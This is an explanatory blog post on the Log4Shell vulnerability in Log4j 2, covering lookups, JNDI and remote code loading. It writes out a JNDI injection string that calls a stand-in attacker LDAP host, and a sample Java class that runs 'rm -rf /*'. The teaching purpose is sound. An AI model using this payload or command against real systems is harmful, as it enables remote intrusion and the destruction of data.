Simple understading of Log4Shell - A big Log4j vulnerability

Simple understading of Log4Shell - A big Log4j vulnerability

This month, a high severity vulnerability in logging framework Log4j was exposed. Its code is CVE-2021-44228, aka Log4Shell, an easier to remember name. This vulnerability, which was discovered by Chen Zhaojun of Alibaba Cloud Security Team on December 9 2021, impacts Apache Log4j 2 versions 2.0 to 2.14.1. Many services are vulnerable to this exploit. Cloud services like Steam, Apple iCloud and apps like Minecraft have already been found to be vulnerable.

In this post, I will explain in simple way how it works and how seriously current software which use Log4j are impacted.

Log4Shell uses RCE (Remote Code Execution) - a technique that attacker uses to make a server load malicious code, which may result in executing unauthorized commands or actions on the vulnerable system.

What makes Log4J vulnerable is its lookup feature, which allows injecting dynamically generated information into log strings.

What is lookup in Log4j, let's discover with example

Given an API endpoint which returns user's profile and also log some header values in the request, like "X-Api-Version"

@GetMapping("/profile")
public String index(@RequestHeader("X-Api-Version") String apiVersion) {
    logger.info("Received a request for API version " + apiVersion);
    return "Hello, world!";
}

But what happens if the header value is a string as ${java:version}. The lookup feature will output the java runtime version like:

Received a request for API version Java version 1.7.0_67

Now comes the vulnerability when Log4j use JNDI lookup, one kind of many lookup mechanism.

JNDI lookup uses Java's JNDI (Java Naming and Directory Interface) API, which allows an application to load java objects remotely from an LDAP server or an RMI registry.

The syntax for Log4j'sJNDI Lookup plugin is:

${jndi:ldap://hostname/objectpath}

It is possible for an attacker to point the Java application to a malicious LDAP server (under the attacker's control) and respond with an arbitrary Java object that may contain attacker-supplied code.

For instance, if the value of X-Api-Version above is a string like ${jndi:ldap://hacker-server.com/killTheSystem}, log4j will try to look up the resource at target server, the log will be like:

Looking up JNDI resource [ldap://hacker-server.com/killTheSystem]

Now the vulnerable server may load the class file bound to the name killTheSystem, deserializes it and executes the included code. Assuming the content of the class file is below

public class DestroyAll {
  public static void main(String[] args) {
    try {
      Runtime.getRuntime().exec("rm -rf /*");
    } catch (Exception e){
      e.printStackTrace();
    }
  }
}

The malicious class uses Java's Runtime.getRuntime().exec() method to run the command rm -rf /*.

And boom! All folders in our Linux server are deleted!

This example is just one among many RCE methods hacker can use. Another hacking method may be Reverse Shell which attackers can control shell session of victim server by standing on their malicious server.

A picture is worth a thousand words:

This diagram created by the Swiss Government is an excellent visualization of the Log4Shell exploit (Please ignore the red text because they are solutions to mitigate the vulnerability)